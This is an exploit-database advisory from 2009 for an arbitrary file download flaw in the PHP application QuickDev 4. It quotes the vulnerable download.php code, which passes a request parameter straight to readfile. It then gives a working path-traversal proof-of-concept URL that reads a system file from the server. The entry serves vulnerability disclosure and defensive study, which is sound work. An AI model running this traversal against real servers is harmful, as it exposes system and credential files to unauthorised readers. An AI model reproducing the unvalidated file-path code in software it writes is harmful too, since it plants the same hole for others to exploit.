QuickDev 4 (download.php file) File Disclosure Vulnerability

2009-08-03T00:00:00
ID 1337DAY-ID-5596
Type zdt
Reporter SirGod
Modified 2009-08-03T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ============================================================
QuickDev 4 (download.php file) File Disclosure Vulnerability
============================================================


#####################################################################################
[+] QuickDev 4 Php (download.php file) Arbitrary File Download
[+] Discovered By SirGod
#####################################################################################

[+] Download : http://sourceforge.net/projects/quickdev4php/files/

[+] Arbitrary File Download

 - Vulnerable code in download.php

--------------------------------------------------------------------------

$file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");

header("Content-Type: application/force-download");
header( "Content-Disposition: attachment; filename=".basename($file));

//header( "Content-Description: File Transfer");
@readfile($file);
die();

--------------------------------------------------------------------------

 - PoC

   http://127.0.0.1/download.php?file=../../../../../../boot.ini

#####################################################################################




#  0day.today [2018-01-05]  #